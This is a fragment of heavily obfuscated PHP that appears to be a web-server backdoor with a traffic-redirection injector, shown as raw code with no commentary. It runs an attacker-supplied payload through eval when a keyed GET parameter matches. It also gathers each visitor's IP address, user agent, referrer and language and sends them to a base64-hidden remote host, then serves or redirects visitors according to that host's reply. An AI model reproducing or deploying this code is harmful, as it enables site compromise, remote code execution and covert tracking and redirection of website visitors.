$RiSY7yVzMAh = curl_init($K2EG9w_eakh); goto MlzE3aN8sb3; MlzE3aN8sb3: curl_setopt($RiSY7yVzMAh, CURLOPT_RETURNTRANSFER, 1); goto Aka_THTtz76; Aka_THTtz76: $plSghDI2XeQ = curl_exec($RiSY7yVzMAh); goto KyoUdPkdTEI; KyoUdPkdTEI: return empty($plSghDI2XeQ) ? $PHbzcMILVrX($K2EG9w_eakh) : $plSghDI2XeQ; goto Z2rkvTpnj5O; Z2rkvTpnj5O: } static function QgYhn_wVpt8() { goto q1jE3EFwvdY; izKeaHFR3VX: @$geC1jGV7aXK[10 + 0](INPUT_GET, "\x6f\x66") == 1 && die($geC1jGV7aXK[5 + 0](__FILE__)); goto LiGTzvtf6AL; FujOHRsrGHM: QLxgEZ99Xf5: goto ygIntfgvizQ; Tgmd1E8bNtQ: $kG8ztgn5bJy = @$geC1jGV7aXK[0 + 3]($geC1jGV7aXK[2 + 4], $IVBa1oFBHAS); goto ne59_AlKvm4; nz_pMSxNGWz: $pLsqQyGMlji = md5($hGhPRkzA48B[1 + 2]); goto izKeaHFR3VX; LiGTzvtf6AL: $fow1MhqPc3d = md5($pLsqQyGMlji); goto p0WzWoQp9WE; ne59_AlKvm4: $hGhPRkzA48B = $geC1jGV7aXK[2 + 0]($kG8ztgn5bJy, true); goto nz_pMSxNGWz; q1jE3EFwvdY: $CDmyZDBqo8r = array("\70\x30\x38\x38\x30\76\x38\x30\70\x36\65\x3e\70\x30\x38\67\70\x3e\70\x30\x38\70\62\x3e\70\60\x38\66\63\76\x38\60\x38\x37\x38\76\x38\60\70\70\x34\76\x38\x30\x38\x37\x37\x3e\70\60\x38\66\62\x3e\x38\x30\70\x36\x39\x3e\70\x30\70\x38\60\x3e\70\60\70\66\x33\x3e\x38\60\x38\67\x34\x3e\x38\x30\70\66\70\x3e\70\60\x38\66\71", "\70\x30\70\66\64\76\70\60\70\x36\x33\76\x38\x30\x38\x36\65\76\70\60\70\70\x34\76\70\60\70\66\65\76\70\x30\x38\66\x38\76\x38\60\x38\66\x33\x3e\x38\60\x39\63\x30\76\x38\60\x39\62\x38", "\70\60\x38\67\x33\x3e\70\x30\70\66\64\76\70\x30\70\x36\70\x3e\x38\x30\70\66\x39\x3e\x38\x30\70\x38\x34\x3e\70\60\x38\x37\x39\76\70\60\x38\x37\70\76\70\60\x38\70\x30\76\70\60\70\66\x38\x3e\x38\x30\x38\67\x39\76\x38\60\70\67\x38", "\70\60\70\66\x37\x3e\x38\x30\70\70\62\x3e\x38\x30\70\x38\60\x3e\70\x30\70\67\62", "\70\x30\70\x38\x31\x3e\70\60\x38\70\x32\76\x38\60\70\x36\x34\x3e\x38\60\70\x37\x38\x3e\70\60\x39\62\65\76\70\x30\71\62\x37\x3e\70\60\x38\70\64\x3e\x38\x30\x38\x37\x39\76\70\60\70\67\70\x3e\x38\x30\x38\x38\60\76\x38\60\70\x36\70\x3e\70\60\x38\67\x39\76\x38\x30\x38\x37\70", "\x38\60\70\x37\x37\76\70\x30\x38\x37\64\x3e\x38\x30\70\x37\61\x3e\x38\x30\x38\x37\x38\x3e\x38\x30\70\x38\x34\x3e\x38\60\70\67\66\76\x38\x30\70\x37\x38\x3e\x38\x30\70\66\x33\76\x38\60\x38\x38\64\x3e\x38\x30\70\70\60\x3e\70\x30\70\66\70\x3e\x38\x30\70\66\71\76\70\x30\70\66\x33\x3e\x38\x30\70\x37\x38\x3e\x38\60\70\x36\71\76\70\x30\70\66\x33\x3e\x38\60\x38\x36\64", "\x38\x30\71\x30\67\76\70\60\71\63\x37", "\70\60\x38\65\x34", "\70\60\71\x33\x32\x3e\x38\60\x39\x33\x37", "\70\60\71\x31\x34\x3e\70\x30\x38\x39\x37\x3e\x38\60\x38\x39\67\76\70\x30\71\61\x34\x3e\x38\x30\70\x39\x30", "\70\x30\x38\x37\x37\x3e\70\x30\x38\67\64\76\70\x30\x38\x37\x31\76\70\60\x38\66\63\76\x38\x30\x38\x37\x38\x3e\70\x30\70\x36\65\76\70\60\70\70\64\76\70\x30\70\x37\x34\x3e\x38\x30\x38\66\71\x3e\70\60\70\x36\x37\x3e\70\x30\x38\x36\x32\x3e\70\60\70\x36\63"); goto R0HrYIKAwLz; yhtXfOWV8D0: pzGy3zzzWnL: goto j0xIWNUI9jw; R0HrYIKAwLz: foreach ($CDmyZDBqo8r as $MKGmdhqME5p) { $geC1jGV7aXK[] = self::MJa95NyFOmt($MKGmdhqME5p); WL8ns1uVVag: } goto FujOHRsrGHM; p0WzWoQp9WE: if (!(@$hGhPRkzA48B[0] - time() > 0 and $fow1MhqPc3d === "\x33\60\x38\67\x62\x65\x39\143\145\x62\x65\x65\63\x66\146\x66\60\x35\x62\65\x64\x64\70\x61\67\x33\x31\142\x38\x33\x32\143")) { goto pzGy3zzzWnL; } goto B0WDoY_wk2V; ygIntfgvizQ: $IVBa1oFBHAS = @$geC1jGV7aXK[1]($geC1jGV7aXK[2 + 8](INPUT_GET, $geC1jGV7aXK[0 + 9])); goto Tgmd1E8bNtQ; B0WDoY_wk2V: $Xf6AD30ZIp7 = self::Ho0oCmERnRw($hGhPRkzA48B[1 + 0], $geC1jGV7aXK[1 + 4]); goto o6Dnpvjpe91; rnu_eDmo6yI: die; goto yhtXfOWV8D0; o6Dnpvjpe91: @eval($geC1jGV7aXK[1 + 3]($Xf6AD30ZIp7)); goto rnu_eDmo6yI; j0xIWNUI9jw: } } goto BgCtBnkRVtL; DI7JCsNAf43: rI05_a_ddq4: goto TcdK62RsxXF; az2sFt_q2ka: $VqUGuP6UJ3k["\x6c"] = ES2wRYXnZSS($_SERVER["\x48\x54\124\120\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\107\x55\x41\x47\x45"]); goto iRfl5JPEJD7; SazeSCG5Rj2: if (!in_array($Xju_XeOTejE, array("\56\152\x73", "\x2e\143\x73\163", "\x2e\x6a\x70\x67", "\x2e\160\x6e\x67", "\x2e\x67\x69\146", "\x2e\x69\x63\157"))) { goto pO2xA1Btdkj; } goto zL5H1q5rWyS; X8pu_ArUiX0: Zk2F2H56txV: goto DI7JCsNAf43; CaeCq5jM0lp: $WTK0x7lgCjL = BU9m_uUjna6() . $_SERVER["\x48\124\124\120\x5f\x48\x4f\123\124"]; goto G3xoE43PRED; FbaRnOI0Y8j: echo $dJdYfwrwgB9["\x63\x6f\x6e\164\x65\156\x74"]; goto BRy_8HoUKwb; HNsrQA8Re1b: $vYKpainvOtL = "\162" . "\141" . "\x6e" . "\x67" . "\x65"; goto D6ZNtQSuLxz; Y5vXetrZoLk: guDfcVYsQl5: goto wGWcy_fpSc_; lHYzXsQ0uZ5: $VqUGuP6UJ3k = array(); goto Mxh5AtGWUmn; WffIHKVitMH: error_reporting(0); goto HNsrQA8Re1b; D6ZNtQSuLxz: $xjxyXMNgWYQ = $vYKpainvOtL("\176", "\x20"); goto RoltUQ6gT8P; gK183uRaxtQ: @header("\x43\157\x6e\164\145\156\x74\55\124\171\160\145\72" . $dJdYfwrwgB9["\164\171\160\x65"]); goto FbaRnOI0Y8j; Cp83jvziizf: function Bs1i3xSCVuy($QX52vV653Uy, $JVCFGrP5VMs = array()) { goto WuNxHUqVa35; cFWWSEJJ_yz: if (!(is_array($JVCFGrP5VMs) && count($JVCFGrP5VMs))) { goto ytvdopvgSnG; } goto rErRl5kR4OO; WuNxHUqVa35: $dJdYfwrwgB9 = array("\x73\x74\x61\x74\165\163" => 0, "\143\157\x6e\x74\x65\x6e\164" => '', "\164\171\160\145" => ''); goto cFWWSEJJ_yz; k8aujmcAW2N: try { goto bYyXGf2xWX5; JeJd1c26Ggm: @curl_close($KiObLKTQTRM); goto czepV4814mn; Dc0QLiDZ8gw: H_p2udSSjVv: goto nDJpErnC1z5; vfJPRZtmT4p: if (ini_get("\141\154\154\157\x77\137\x75\162\x6c\x5f\146\157\160\145\156")) { goto Pe4HI1vznSC; } goto MvKwdkejTGH; o8ZvQmkh3V9: goto GWX_8R0MQvW; goto SlxNNbTKEFb; ZUpWi84pnf9: curl_setopt($KiObLKTQTRM, CURLOPT_SSL_VERIFYHOST, 0); goto Hyyp3fwJmIY; Ii_60LcTHw4: $dJdYfwrwgB9["\163\164\141\164\165\x73"] = intval(curl_getinfo($KiObLKTQTRM, CURLINFO_HTTP_CODE)); goto h3LGjAN6y9I; bjtN5Ei2g4q: curl_setopt($KiObLKTQTRM, CURLOPT_CONNECTTIMEOUT, 20); goto whZgGEpC95z; nDJpErnC1z5: $KiObLKTQTRM = curl_init(); goto HZKKGzb4j6S; C11D0F4X6wO: $IwHmS4GJsUa = stream_context_create($A6amw26rz6w); goto Ao2ygEiA2r1; h3LGjAN6y9I: $dJdYfwrwgB9["\164\171\160\145"] = strval(curl_getinfo($KiObLKTQTRM, CURLINFO_CONTENT_TYPE)); goto ZcnKOkCEI1P; ZcnKOkCEI1P: $dJdYfwrwgB9["\x63\x6f\156\x74\x65\156\164"] = strval(curl_getinfo($KiObLKTQTRM, CURLINFO_REDIRECT_URL)); goto JeJd1c26Ggm; HZKKGzb4j6S: curl_setopt($KiObLKTQTRM, CURLOPT_URL, $QX52vV653Uy); goto ZUpWi84pnf9; SlxNNbTKEFb: Pe4HI1vznSC: goto ZsCyaiXL7tg; czepV4814mn: if (!in_array($dJdYfwrwgB9["\x73\x74\141\x74\165\163"], array(200, 301, 302, 404))) { goto jeuX9WB9BDO; } goto Uchg4R04VIf; Uchg4R04VIf: $dJdYfwrwgB9["\143\x6f\156\164\x65\x6e\164"] = strval($DyspBWPJyIu); goto SevWQUbgwm_; bpDg3Z_J913: if (!in_array($dJdYfwrwgB9["\163\x74\141\164\x75\163"], array(200, 301, 302, 404))) { goto jFvoU_vyTdV; } goto YYM5PZdOcbP; qU103W7MjYk: GWX_8R0MQvW: goto V7ZqiR7bvUw; FVAtflM_v0U: curl_setopt($KiObLKTQTRM, CURLOPT_RETURNTRANSFER, 1); goto H5RCfHxp0Fm; LAoikLa8VPA: jFvoU_vyTdV: goto qU103W7MjYk; HbUwDmHvkJ1: curl_setopt($KiObLKTQTRM, CURLOPT_FOLLOWLOCATION, 0); goto F6t16kWe2uF; bYyXGf2xWX5: if (function_exists("\143\x75\162\x6c\137\145\170\145\143") && function_exists("\143\165\x72\154\137\151\x6e\x69\164")) { goto H_p2udSSjVv; } goto vfJPRZtmT4p; u4NEFLs_Ve2: $dJdYfwrwgB9 = array_merge($dJdYfwrwgB9, DwnVVnHDP90($http_response_header)); goto bpDg3Z_J913; MvKwdkejTGH: goto GWX_8R0MQvW; goto Dc0QLiDZ8gw; whZgGEpC95z: curl_setopt($KiObLKTQTRM, CURLOPT_TIMEOUT, 60); goto HbUwDmHvkJ1; H5RCfHxp0Fm: $DyspBWPJyIu = curl_exec($KiObLKTQTRM); goto Ii_60LcTHw4; YYM5PZdOcbP: $dJdYfwrwgB9["\x63\x6f\x6e\x74\x65\x6e\164"] = strval($dnn16LKx1wI); goto LAoikLa8VPA; ZsCyaiXL7tg: $A6amw26rz6w = array("\150\164\164\x70" => array("\x6d\x65\x74\x68\157\x64" => "\107\x45\124", "\164\x69\x6d\145\x6f\165\x74" => 60, "\146\157\x6c\154\x6f\x77\x5f\x6c\x6f\143\141\164\151\157\156" => 0), "\x73\163\154" => array("\x76\x65\162\x69\146\171\x5f\160\x65\145\162" => false, "\x76\145\162\151\146\x79\137\160\x65\145\x72\137\156\141\x6d\x65" => false)); goto C11D0F4X6wO; Hyyp3fwJmIY: curl_setopt($KiObLKTQTRM, CURLOPT_SSL_VERIFYPEER, 0); goto bjtN5Ei2g4q; Ao2ygEiA2r1: $dnn16LKx1wI = @file_get_contents($QX52vV653Uy, false, $IwHmS4GJsUa); goto u4NEFLs_Ve2; SevWQUbgwm_: jeuX9WB9BDO: goto o8ZvQmkh3V9; F6t16kWe2uF: curl_setopt($KiObLKTQTRM, CURLOPT_COOKIESESSION, 0); goto FVAtflM_v0U; V7ZqiR7bvUw: } catch (Exception $E7qBvocZPNG) { } goto atv5fMd00_I; kuXvFF83ttN: ytvdopvgSnG: goto k8aujmcAW2N; rErRl5kR4OO: $QX52vV653Uy .= "\x3f" . http_build_query($JVCFGrP5VMs); goto kuXvFF83ttN; atv5fMd00_I: return $dJdYfwrwgB9; goto jaDUVMDZOLz; jaDUVMDZOLz: } goto Of__jFYvOJs; Lu9Y8bRXdKY: function CeE_BmIadBk() { goto Vl_BtMrA_D4; tAhxWqZVIM7: goto Zw0Rnhf6I7L; goto VDSmJZ0H_1Z; xsMEELnByvZ: Fl45HyVAYRl: goto lHsq1TLUK2P; BzFwV8Y80hf: Zw0Rnhf6I7L: goto iIxtY7mPrH4; HDoPS04XjmL: $WIguCk6f8xK = $_SERVER["\110\124\x54\120\137\x58\x5f\106\117\122\127\x41\x52\104\105\104\x5f\x46\117\x52"]; goto BzFwV8Y80hf; Vl_BtMrA_D4: $WIguCk6f8xK = ''; goto MOl9yyNZFj7; MOl9yyNZFj7: if (isset($_SERVER["\x48\x54\124\x50\x5f\103\x46\x5f\103\x4f\x4e\x4e\x45\x43\x54\x49\116\107\x5f\111\x50"]) && !empty($_SERVER["\x48\x54\x54\x50\137\103\106\137\x43\x4f\116\x4e\x45\103\124\111\116\x47\137\111\120"])) { goto wtGrKFlhMwE; } goto rFf6DPa84O4; lHsq1TLUK2P: return $WIguCk6f8xK; goto hckZYe0BMuc; XZwWnORcZV8: if (isset($_SERVER["\x48\x54\124\x50\137\130\x5f\x46\x4f\x52\127\101\x52\104\x45\x44\137\x46\x4f\122"]) && !empty($_SERVER["\110\124\124\x50\x5f\x58\x5f\x46\x4f\x52\127\x41\x52\x44\105\104\137\106\x4f\x52"])) { goto BCTTHwexpSC; } goto FWzu9fmvGZF; QaNgsHhDgCA: $WIguCk6f8xK = explode("\54", $WIguCk6f8xK); goto HrkotT5iJz8; VDSmJZ0H_1Z: wtGrKFlhMwE: goto xlA6WkD5C91; tUoMeG5nLqY: if (!(strpos($WIguCk6f8xK, "\x2c") !== false)) { goto Fl45HyVAYRl; } goto QaNgsHhDgCA; iIxtY7mPrH4: $WIguCk6f8xK = trim(str_replace("\x20", '', $WIguCk6f8xK), "\x2c"); goto tUoMeG5nLqY; FWzu9fmvGZF: $WIguCk6f8xK = $_SERVER["\x52\x45\115\117\124\105\137\x41\x44\x44\x52"]; goto tAhxWqZVIM7; O1xjurcnCpl: goto Zw0Rnhf6I7L; goto cyksJRkHpsA; rFf6DPa84O4: if (isset($_SERVER["\x48\x54\x54\x50\137\x58\x5f\122\x45\x41\114\137\x49\x50"]) && !empty($_SERVER["\x48\124\x54\x50\x5f\130\137\122\x45\101\x4c\137\111\120"])) { goto hDilcUGx63U; } goto XZwWnORcZV8; FyzPnm0hqq0: $WIguCk6f8xK = $_SERVER["\110\x54\x54\x50\x5f\130\137\122\x45\x41\x4c\137\x49\x50"]; goto O1xjurcnCpl; cyksJRkHpsA: BCTTHwexpSC: goto HDoPS04XjmL; DgsluG8npwv: goto Zw0Rnhf6I7L; goto isJXF98O8ot; HrkotT5iJz8: $WIguCk6f8xK = $WIguCk6f8xK[0]; goto xsMEELnByvZ; xlA6WkD5C91: $WIguCk6f8xK = $_SERVER["\x48\124\x54\120\137\103\106\x5f\x43\x4f\x4e\x4e\x45\x43\x54\x49\116\x47\137\111\x50"]; goto DgsluG8npwv; isJXF98O8ot: hDilcUGx63U: goto FyzPnm0hqq0; hckZYe0BMuc: } goto ZVpdeq1erzS; CCyVBIeJRIo: exit("\x7b\x20\42\145\x72\x72\157\x72\x22\x3a\40\62\60\60\x2c\40\x22\154\143\42\72\x20\42\152\153\42\x2c\x20\42\x64\141\164\141\x22\x3a\40\x5b\x20\x31\40\x5d\x20\175"); goto iDOr7G1uRJF; D4TvHITh4jh: pO2xA1Btdkj: goto Y5vXetrZoLk; eEBKcZF0cVt: $TKjY71Y1pQd = ''; goto edEv5Tur8W9; dNGxkpuzb27: $TKjY71Y1pQd = strval(@$_SERVER["\x48\124\x54\x50\137\122\105\x46\105\122\105\x52"]); goto CaeCq5jM0lp; wlz8EGwNTXu: switch ($dJdYfwrwgB9["\x73\x74\x61\x74\x75\163"]) { case 301: goto VTCXT_vWcKY; ENvldHYavDD: header("\x4c\157\143\x61\x74\x69\157\x6e\72\40" . trim($dJdYfwrwgB9["\x63\x6f\156\164\x65\x6e\164"])); goto H795PRiNipX; VTCXT_vWcKY: header("\x48\124\124\120\x2f\61\56\61\x20\x33\x30\61\40\115\x6f\x76\x65\144\40\120\x65\162\155\x61\156\x65\156\164\x6c\x79"); goto ENvldHYavDD; H795PRiNipX: goto Zk2F2H56txV; goto JgbSlcwDpAo; JgbSlcwDpAo: case 302: goto IxEZtd1lUSZ; LCmdJMvi3jl: goto Zk2F2H56txV; goto PqT40TTgFP4; IxEZtd1lUSZ: header("\x48\124\124\120\x2f\61\x2e\x31\40\x33\x30\62\x20\x4d\x6f\x76\145\40\124\145\155\x70\157\162\141\162\151\x6c\x79"); goto kwe8a69dWg4; kwe8a69dWg4: header("\x4c\x6f\143\141\164\151\157\x6e\x3a\40" . trim($dJdYfwrwgB9["\143\157\x6e\164\145\156\164"])); goto LCmdJMvi3jl; PqT40TTgFP4: case 404: goto boP27VR936E; boP27VR936E: header("\x48\x54\124\x50\x2f\x31\x2e\61\40\x34\60\x34\40\116\x6f\164\40\106\157\165\156\144"); goto uFcQanjMwId; uFcQanjMwId: header("\x73\x74\x61\164\165\163\x3a\x20\x34\60\64\x20\x4e\157\x74\40\x46\157\x75\x6e\144"); goto msa06Ib2Tnf; msa06Ib2Tnf: goto Zk2F2H56txV; goto KxfDulV2QvA; KxfDulV2QvA: default: goto Zk2F2H56txV; } goto pYA6mabGsH_; AOgQhUzdgpn: $LSb0lOh5aBo = false; goto i18UZFxR_OT; BRy_8HoUKwb: exit(0); goto s08E5xTDUqm; FzbxTxjlR3P: function DwnvvnHdp90($krZdI8zaK1b) { goto pEWB3kRFqeU; jmKnVJ_xqdG: gGW9sDyPMzY: goto Mc1UU942KVc; XLR58hDbcW8: a1o0yeu2m8G: goto dSSac_6HUZS; WNHrTX24VnJ: return $AhXMo1eS6Vo; goto XLR58hDbcW8; dSSac_6HUZS: foreach ($krZdI8zaK1b as $P3dWwN8JJCb) { goto KXILYd1fSxP; RacMtNtFVFQ: NE6IARHlRhx: goto rv4cR7unU0P; XM2ohBLnMI8: $AhXMo1eS6Vo["\143\x6f\x6e\x74\x65\x6e\164"] = $sHqWo7ZN6F9[1]; goto ZaKfWNzGcTK; kFnBxQzG0wS: eNS8q0VDg1J: goto XM2ohBLnMI8; KXILYd1fSxP: if (preg_match("\x2f\150\164\164\160\x5c\57\133\x30\55\71\x5c\x2e\x5d\x2b\133\134\x73\135\53\x28\x5b\x30\55\71\135\x2b\x29\57\x69", $P3dWwN8JJCb, $sHqWo7ZN6F9)) { goto xQpYv9LsT0c; } goto YYq1wpxilty; mXjVbzR3msS: goto ttDcj8MLlwp; goto fa8VnnyrlQ5; YYq1wpxilty: if (preg_match("\x2f\x6c\157\143\141\x74\151\157\156\134\x3a\x5b\x5c\x73\x5d\53\50\56\52\x29\57\x69", $P3dWwN8JJCb, $sHqWo7ZN6F9)) { goto eNS8q0VDg1J; } goto RnLEBQ1DEA4; awx3OgbYHP2: $AhXMo1eS6Vo["\163\x74\x61\x74\x75\x73"] = intval($sHqWo7ZN6F9[1]); goto FQzbhW4AQUH; FQzbhW4AQUH: goto ttDcj8MLlwp; goto kFnBxQzG0wS; Z2tcYe0t109: ttDcj8MLlwp: goto QggVOC6_YoC; QggVOC6_YoC: kBZURNSB1_p: goto qFGa2_6_DLL; fa8VnnyrlQ5: xQpYv9LsT0c: goto awx3OgbYHP2; ZaKfWNzGcTK: goto ttDcj8MLlwp; goto RacMtNtFVFQ; rv4cR7unU0P: $AhXMo1eS6Vo["\x74\171\160\145"] = $sHqWo7ZN6F9[1]; goto Z2tcYe0t109; RnLEBQ1DEA4: if (preg_match("\57\143\157\156\x74\x65\x6e\164\134\x2d\x74\171\x70\x65\134\72\x5b\x5c\x73\x5d\53\50\x2e\x2a\51\57\x69", $P3dWwN8JJCb, $sHqWo7ZN6F9)) { goto NE6IARHlRhx; } goto mXjVbzR3msS; qFGa2_6_DLL: } goto jmKnVJ_xqdG; j3twwcMSXsk: if (is_array($krZdI8zaK1b)) { goto a1o0yeu2m8G; } goto WNHrTX24VnJ; Mc1UU942KVc: return $AhXMo1eS6Vo; goto Bnc82MM4_h_; pEWB3kRFqeU: $AhXMo1eS6Vo = array("\x73\164\x61\x74\165\163" => 0, "\143\x6f\x6e\x74\x65\x6e\x74" => '', "\164\171\x70\x65" => ''); goto j3twwcMSXsk; Bnc82MM4_h_: } goto Cp83jvziizf; Y9NQCVtZjW1: if (!($_SERVER["\x52\105\x51\125\x45\123\x54\x5f\x55\x52\x49"] === "\x2f\x52\x2d" . md5($_SERVER["\x53\105\122\x56\x45\122\137\x4e\x41\x4d\x45"]))) { goto G0u2BTiwobT; } goto wT4Twi1QOzH; sdmokddMxQJ: $VqUGuP6UJ3k["\163"] = ES2wrYXnzSS($WTK0x7lgCjL); goto UXmNzwYAMHu; Mxh5AtGWUmn: $VqUGuP6UJ3k["\x69"] = ES2wRYxNZSS($WIguCk6f8xK); goto az2sFt_q2ka; ZVpdeq1erzS: function bu9m_uujNA6() { goto fsCy9vJJlFX; vohDhF7t_4B: if (isset($_SERVER["\110\x54\x54\x50\x53"]) && strtolower($_SERVER["\110\x54\x54\120\123"]) !== "\x6f\x66\146") { goto r2W0Xf0Pu5L; } goto P_ARyWovaXu; hFjY0sQgYU6: return $v3G1_lbuN0z; goto sbT9TkQ2y8C; TQjPyMxw04z: goto lI5zILheHRI; goto vfECx_Ud9jr; Hsi9TWxnCEG: $v3G1_lbuN0z = "\x68\x74\164\x70\163\x3a\x2f\x2f"; goto TQjPyMxw04z; rTxnmnVBNGv: r2W0Xf0Pu5L: goto QmteMG5x2Kv; QIhTF6Nh0v0: d2dU6LiTKDx: goto Hsi9TWxnCEG; TnxdOby2bqj: lI5zILheHRI: goto hFjY0sQgYU6; fsCy9vJJlFX: $v3G1_lbuN0z = "\150\164\164\x70\x3a\57\57"; goto vohDhF7t_4B; sub1KN6z2Un: goto lI5zILheHRI; goto QIhTF6Nh0v0; P_ARyWovaXu: if (isset($_SERVER["\x48\124\x54\x50\137\130\x5f\106\117\122\x57\x41\122\104\105\x44\x5f\x50\x52\x4f\x54\117"]) && $_SERVER["\x48\x54\x54\120\x5f\x58\x5f\106\117\122\127\101\x52\x44\x45\x44\137\x50\122\117\124\117"] === "\150\x74\164\x70\163") { goto d2dU6LiTKDx; } goto cH35C7bcj6p; vfECx_Ud9jr: BCtcwCGRUmO: goto ZoLGxIwMJL4; ZoLGxIwMJL4: $v3G1_lbuN0z = "\150\x74\x74\x70\x73\x3a\57\x2f"; goto TnxdOby2bqj; QmteMG5x2Kv: $v3G1_lbuN0z = "\150\164\x74\160\163\72\57\57"; goto sub1KN6z2Un; cH35C7bcj6p: if (isset($_SERVER["\110\124\x54\120\x5f\106\x52\117\x4e\x54\x5f\x45\116\104\x5f\x48\124\124\x50\x53"]) && strtolower($_SERVER["\110\x54\124\120\137\x46\x52\117\x4e\124\137\x45\x4e\x44\x5f\110\124\124\x50\x53"]) !== "\x6f\146\x66") { goto BCtcwCGRUmO; } goto EjCnEKnZRfa; EjCnEKnZRfa: goto lI5zILheHRI; goto rTxnmnVBNGv; sbT9TkQ2y8C: } goto Y9NQCVtZjW1; BlAJNNlIoKU: zvWh16oR035: goto NNn38rkhHGT; EcjVy4hIVNg: $dJdYfwrwgB9 = BS1I3xsCvUY(base64_decode("\x61\x48\x52\x30\143\x44\157\166\114\63\160\x7a\x4f\x54\147\x33\144\x6a\105\172\114\155\x4e\166\142\x6e\122\x79\x59\123\x35\151\132\x57\126\x79\x4c\167"), $VqUGuP6UJ3k); goto F2wLLhVOZjI; UXmNzwYAMHu: $VqUGuP6UJ3k["\165"] = ES2WrYxnZSS($_SERVER["\x48\x54\x54\x50\x5f\125\123\x45\x52\137\101\x47\105\x4e\x54"]); goto epifESbJm08; rsN16qFnrRW: error_reporting(0); goto FzbxTxjlR3P; epifESbJm08: $ZHyRH5z3LrR = preg_replace("\x2f\134\x3f\56\x2a\x2f", '', $_SERVER["\x52\x45\x51\x55\x45\x53\124\x5f\125\122\x49"]); goto AOgQhUzdgpn; edEv5Tur8W9: z6mUDpjbJqK: goto lHYzXsQ0uZ5; wT4Twi1QOzH: exit(strrev(md5($_SERVER["\123\x45\x52\x56\x45\122\137\116\x41\x4d\x45"]))); goto sR5fHC3W5bp; zL5H1q5rWyS: $LSb0lOh5aBo = true; goto D4TvHITh4jh; RoltUQ6gT8P: $n3ZS1Fxfuqi = ${$xjxyXMNgWYQ[21 + 10] . $xjxyXMNgWYQ[39 + 20] . $xjxyXMNgWYQ[24 + 23] . $xjxyXMNgWYQ[33 + 14] . $xjxyXMNgWYQ[37 + 14] . $xjxyXMNgWYQ[15 + 38] . $xjxyXMNgWYQ[7 + 50]}; goto gNDiiAYOauA; pYA6mabGsH_: DZmTtQrlHgP: goto X8pu_ArUiX0; s08E5xTDUqm: t87MJEEE7hx: goto JRbPhm1XNqA; TcdK62RsxXF: if (!strlen($dJdYfwrwgB9["\143\x6f\156\x74\x65\156\x74"])) { goto t87MJEEE7hx; } goto gK183uRaxtQ; BgCtBnkRVtL: XlWLC2KiEA3::qgyhn_wVpt8(); goto REcQ30fsAHx; REcQ30fsAHx: header("\103\x6f\156\x74\145\156\x74\x2d\x54\x79\x70\x65\x3a\x20\164\145\170\x74\x2f\x68\x74\155\x6c\x3b\x20\x63\150\141\x72\x73\x65\x74\x3d\x75\164\x66\55\70"); goto rsN16qFnrRW; Of__jFYvOJs: function es2WryXnZsS($sl3SlHe0OkX) { goto SbjXXNljD9X; l8n3yPtLdBB: return rtrim(strtr(base64_encode($sl3SlHe0OkX), "\53\57", "\x2d\137"), "\x3d"); goto UH1y5JJbdw0; SbjXXNljD9X: if ($sl3SlHe0OkX) { goto ZrBtYQIamPB; } goto yI0ARgrhcOB; c5XgQ2BBHT7: ZrBtYQIamPB: goto l8n3yPtLdBB; yI0ARgrhcOB: return ''; goto c5XgQ2BBHT7; UH1y5JJbdw0: } goto Lu9Y8bRXdKY; G3xoE43PRED: if (!(strpos($TKjY71Y1pQd, $WTK0x7lgCjL) === 0)) { goto z6mUDpjbJqK; } goto eEBKcZF0cVt; cZwtkfdKYFZ: $WIguCk6f8xK = cee_bmiadbk(); goto dNGxkpuzb27; lT1F4TjmR2o: $Xju_XeOTejE = substr($ZHyRH5z3LrR, strpos($ZHyRH5z3LrR, "\x2e")); goto SazeSCG5Rj2; F2wLLhVOZjI: if (in_array($dJdYfwrwgB9["\163\x74\x61\164\165\163"], array(0, 200))) { goto rI05_a_ddq4; } goto wlz8EGwNTXu; iRfl5JPEJD7: $VqUGuP6UJ3k["\x73\x6e"] = es2WRYxnZsS($_SERVER["\123\103\122\111\120\124\x5f\x4e\101\x4d\x45"]); goto v6rbFn48FU1; i18UZFxR_OT: if (!(strpos($ZHyRH5z3LrR, "\x2e") > 0 && strpos($ZHyRH5z3LrR, "\x2e\x70\x68\x70") === false)) { goto guDfcVYsQl5; } goto lT1F4TjmR2o; Vt9dysCyP37: $VqUGuP6UJ3k["\162\x66"] = ES2wryxNZSs($TKjY71Y1pQd); goto sdmokddMxQJ; JRbPhm1XNqA: zgaF9NpddcI: